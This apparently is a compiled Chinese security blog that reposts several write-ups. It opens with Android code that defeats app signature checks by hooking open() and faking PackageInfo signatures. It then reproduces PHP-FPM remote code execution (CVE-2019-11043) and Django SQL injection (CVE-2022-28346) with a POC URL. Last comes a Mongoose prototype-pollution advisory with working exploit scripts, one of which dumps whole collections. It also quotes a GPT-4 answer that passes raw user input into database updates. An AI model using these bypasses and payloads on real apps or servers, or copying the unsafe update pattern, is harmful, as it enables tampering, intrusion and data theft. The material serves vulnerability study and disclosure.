实际上就做了个字符串替换,有意将原本要打开的APK替换成origin.apk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const char *apkPath__;
const char *repPath__;

int (*old_open)(const char *, int, mode_t);
static int openImpl(const char *pathname, int flags, mode_t mode) {
//XH_LOG_ERROR("open: %s", pathname);
if (strcmp(pathname, apkPath__) == 0){
//XH_LOG_ERROR("replace -> %s", repPath__);
return old_open(repPath__, flags, mode);
}
return old_open(pathname, flags, mode);
}

JNIEXPORT void JNICALL
Java_bin_mt_signature_KillerApplication_hookApkPath(JNIEnv *env, __attribute__((unused)) jclass clazz, jstring apkPath, jstring repPath) {
apkPath__ = (*env)->GetStringUTFChars(env, apkPath, 0);
repPath__ = (*env)->GetStringUTFChars(env, repPath, 0);

xhook_register(".*\\.so$", "openat64", openat64Impl, (void **) &old_openat64);
xhook_register(".*\\.so$", "openat", openatImpl, (void **) &old_openat);
xhook_register(".*\\.so$", "open64", open64Impl, (void **) &old_open64);
xhook_register(".*\\.so$", "open", openImpl, (void **) &old_open);

xhook_refresh(0);
}

通过Hook open函数,可以把基于APK读取的签名方式给绕过。

下面提供一个绕过基于PackageManager的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
private static void killPM(String packageName, String signatureData) {
// 构造一个假的签名
Signature fakeSignature = new Signature(Base64.decode(signatureData, Base64.DEFAULT));
Parcelable.Creator<PackageInfo> originalCreator = PackageInfo.CREATOR;
Parcelable.Creator<PackageInfo> creator = new Parcelable.Creator<PackageInfo>() {
@Override
public PackageInfo createFromParcel(Parcel source) {
PackageInfo packageInfo = originalCreator.createFromParcel(source);
if (packageInfo.packageName.equals(packageName)) { //
if (packageInfo.signatures != null && packageInfo.signatures.length > 0) {
packageInfo.signatures[0] = fakeSignature; // 将虚假的签名放入packageInfo,取代原来的
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
if (packageInfo.signingInfo != null) {
Signature[] signaturesArray = packageInfo.signingInfo.getApkContentsSigners();
if (signaturesArray != null && signaturesArray.length > 0) {
signaturesArray[0] = fakeSignature;
}
}
}
}
return packageInfo;
}

@Override
public PackageInfo[] newArray(int size) {
return originalCreator.newArray(size);
}
};
try {
// 用假的creator替换原来的PackageInfo.CREATOR
findField(PackageInfo.class, "CREATOR").set(null, creator);
} catch (Exception e) {
throw new RuntimeException(e);
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
// 解除某些Android系统API的使用限制?
HiddenApiBypass.addHiddenApiExemptions("Landroid/os/Parcel;", "Landroid/content/pm", "Landroid/app");
}
try {
// 清空签名缓存
Object cache = findField(PackageManager.class, "sPackageInfoCache").get(null);
// noinspection ConstantConditions
cache.getClass().getMethod("clear").invoke(cache);
} catch (Throwable ignored) {
}
try {
// 清空签名缓存
Map<?, ?> mCreators = (Map<?, ?>) findField(Parcel.class, "mCreators").get(null);
// noinspection ConstantConditions
mCreators.clear();
} catch (Throwable ignored) {
}
try {
// 清空签名缓存
Map<?, ?> sPairedCreators = (Map<?, ?>) findField(Parcel.class, "sPairedCreators").get(null);
// noinspection ConstantConditions
sPairedCreators.clear();
} catch (Throwable ignored) {
}
}

参考

Java Keytool 介绍 - 且行且码 - 博客园 (cnblogs.com)

获取Android应用签名的几种方式 - 简书 (jianshu.com)

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

apktool重新打包时报错_apktool 忽略错误信息__y4nnl2的博客-CSDN博客

Android之通过 apksigner 对 apk 进行 手动签名_恋恋西风的博客-CSDN博客

apksigner | Android 开发者 | Android Developers (google.cn)

CVE-2019-11043漏洞分析与复现

CVE-2019-11043漏洞分析与复现

本文转自STong66 并作补充

漏洞描述

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO

为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
location ~ [^/]\.php(/|$) {

...

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;

fastcgi_pass php:9000;

...

}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

漏洞类型

远程代码执行漏洞

危险等级

高危

利用条件

nginx配置了fastcgi_split_path_info

受影响系统

PHP 5.6-7.x,Nginx>=0.7.31

漏洞复现

使用某个大佬的 docker 环境进行复现:

PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md

准备工作:安装 docker、golang 环境

在kali中使用如下命令安装docker和golang:

1
2
sudo apt-get install docker docker-compose
sudo apt install golang

image

image

image

搭建漏洞环境

1
2
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d

image

image

image

image

安装漏洞利用工具

1
2
3
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

image

image

漏洞利用

在phuip-fpizdam目录下执行 go run . “http://127.0.0.1:8080/index.php"后成功显示漏洞利用成功。

在浏览器进行了如下请求,成功复现,可以执行系统命令,id可以替换为其他OS命令。

image

漏洞分析

具体漏洞信息可参考:https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a/#diff-624bdd47ab6847d777e15327976a9227

有漏洞信息可知漏洞是由于path_info 的地址可控导致的,我们可以看到,当path_info 被%0a截断时,path_info 将被置为空,回到代码中我就发现问题所在了。

如下漏洞代码

image

在代码的1134行我们发现了可控的 path_info 的指针env_path_info

其中

env_path_info 就是变量path_info 的地址,path_info 为0则plien 为0。

slen 变量来自于请求后url的长度 int ptlen = strlen(pt); int slen = len - ptlen;

由于apache_was_here这个变量在前面被设为了0,因此path_info的赋值语句实际上就是:

1
path_info = env_path_info ? env_path_info + pilen - slen : NULL;

env_path_info是从Fast CGI的PATH_INFO取过来的,而由于代入了%0a,在采取fastcgi_split_path_info ^(.+?\.php)(/.*)$;这样的Nginx配置项的情况下,fastcgi_split_path_info无法正确识别现

在的url,因此会Path Info置空,所以env_path_info在进行取值时,同样会取到空值,这也正是漏洞原因所在。

Django SQL注入漏洞 (CVE-2022-28346)

Django SQL注入漏洞 (CVE-2022-28346)

本文转自李火火安全阁 并作补充

一、简介

Django是用Python开发的一个免费开源的Web结构,几乎包括了Web使用方方面面,能够用于快速建立高性能、文雅的网站,Diango提供了许多网站后台开发常常用到的模块,使开发者可以专注于业务部分。

二、漏洞概述

漏洞编号:CVE-2022-28346

攻击者使用精心编制的字典,通过 **kwargs 传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击,该漏洞在 2.2.28 之前的 Django 2.2、3.2.13 之前的 3.2 和 4.0.4 之前的 4.0 中都存在这个问题。

三、漏洞影响版本

  • 4.0 <= Django < 4.0.4
  • 3.2 <= Django < 3.2.13
  • 2.2 <= Django < 2.2.28

四、漏洞分析

http://cn-sec.com/archives/962127.html

五、漏洞复现

Docker

1
2
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346

本地环境搭建

环境下载:https://github.com/DeEpinGh0st/CVE-2022-28346

Python:3.9.8
Django:3.2.11

本地启动

环境初始化

1
2
3
python manage.py makemigrations
python manage.py migrate
访问http://x.x.x.x:8000/ 插入初始化数据

image

浏览器访问

image

访问404可以获取到报错页面查看报错信息得到传参接口(注入点接口)

image

访问到demo/ 目录下,同样会出现报错信息

image

利用报错中提示的参数进行SQL注入
POC:http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" –

image

六、修复方法

官方已发布安全版本
下载地址:https://www.djangoproject.com/download/

Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

本文转自ehhthing 并作补充

If an attacker has some way to control an object on the Mongo server through one way or another, it is possible to cause prototype pollution on any Mongoose client. Notably, if a poorly implemented service allows a user to control the object in findByIdAndUpdate and similar functions, this bug could be triggered through the $rename operator. Another possibility is if two different services interact with the same Mongo database, it is possible that one of them allows a user to inject an arbitrary object containing a __proto__ field, which would also trigger this bug.

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

Allowing user input directly into update operations seems to be a very common pattern. For example, if we ask GPT-4 a basic prompt for updating a post using Mongoose, it gives us:

Prompt:

Using Express and Mongoose, take input from the user to find a “Post” by an id, and update its fields.

Response:

In Express and Mongoose, you can use the findByIdAndUpdate method to find a “Post” by an id and update its fields. Here’s how you can do it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express');
const mongoose = require('mongoose');
const Post = require('./models/post'); // Assuming you have a Post model in models/post.js

const app = express();

app.use(express.json()); // for parsing application/json

app.put('/post/:id', async (req, res) => {
const { id } = req.params;

try {
const post = await Post.findByIdAndUpdate(id, req.body, { new: true });
// new: true returns the updated post rather than the original post when the operation began

if (!post) {
return res.status(404).send();
}

res.send(post);
} catch (e) {
res.status(400).send(e);
}
});

In the above example, req.params.id is used to get the id from the URL. The req.body is used to get the updated data from the user. The { new: true } option is used to return the updated post.

Proof of concept:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import { connect, model, Schema } from 'mongoose';

await connect('mongodb://127.0.0.1:27017/exploit');

const Example = model('Example', new Schema({ hello: String }));

const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
$rename: {
hello: '__proto__.polluted'
}
});

// this is what causes the pollution
await Example.find();

const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }

process.exit();

Resulting Database Entry

1
2
3
4
5
6
7
8
exploit> db.examples.find({})
[
{
_id: ObjectId("64a757117e3dbf11b14e0fd4"),
__v: 0,
['__proto__']: { polluted: 'world!' }
}
]

Explanation

When Mongoose finds documents and reads the malicious document into an object, it uses an object with a prototype. If the top level object contains a __proto__ field, it leads to overwrites of the object prototype.

Affected Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// document.js
/**
* Init helper.
*
* @param {Object} self document instance
* @param {Object} obj raw mongodb doc
* @param {Object} doc object we are initializing
* @param {Object} [opts] Optional Options
* @param {Boolean} [opts.setters] Call `applySetters` instead of `cast`
* @param {String} [prefix] Prefix to add to each path
* @api private
*/

function init(self, obj, doc, opts, prefix) {
// ...

function _init(index) {
// ...

if (!schemaType && utils.isPOJO(obj[i])) {
// ...

// (1)
// our malicious payload first reaches here, where:
// obj is some document
// i = '__proto__'
// so, obj[i] gives Object.prototype, which gets used in (2)
init(self, obj[i], doc[i], opts, path + '.');
} else if (!schemaType) {
// (2)
// after the recursive call on (1), we reach here
// pollution happens on the next line, where:
// doc: Object.prototype,
// obj = { polluted: 'world!' },
// i = 'polluted'
doc[i] = obj[i];
if (!strict && !prefix) {
self[i] = obj[i];
}
} else {

Credits

This bug was found by myself (@ehhthing) and @strellic_

Impact

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

We also found that we can actually exploit Mongoose itself with the prototype pollution, to cause it to bypass all query parameters when using .find(), which allows an attacker to potentially dump entire collections:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import { connect, model, Schema } from 'mongoose';

const mongoose = await connect('mongodb://127.0.0.1:27017/exploit');

const Post = model('Post', new Schema({
owner: String,
message: String
}));

await Post.create({
owner: "SECRET_USER",
message: "SECRET_MESSAGE"
});

const post = await Post.create({
owner: "user",
message: "test message"
});
await Post.findByIdAndUpdate(post._id, {
$rename: {
message: '__proto__.owner'
}
});

// this pollutes Object.prototype.owner = "test message"
await Post.find({ owner: "user" });

// now, when querying posts, even when an owner is specified, all posts are returned
const posts = await Post.find({
owner: "user2"
});

console.log(posts); // both posts created are found
/*
output:
[
{
_id: new ObjectId("64a7610756da3c04f900bf49"),
owner: 'SECRET_USER',
message: 'SECRET_MESSAGE',
__v: 0
},
{
_id: new ObjectId("64a7610756da3c04f900bf4b"),
owner: 'user',
__v: 0
}
]
*/
process.exit();

This could also easily lead to denial of service depending on how large a Mongo collection is, and which other libraries are being used in the application.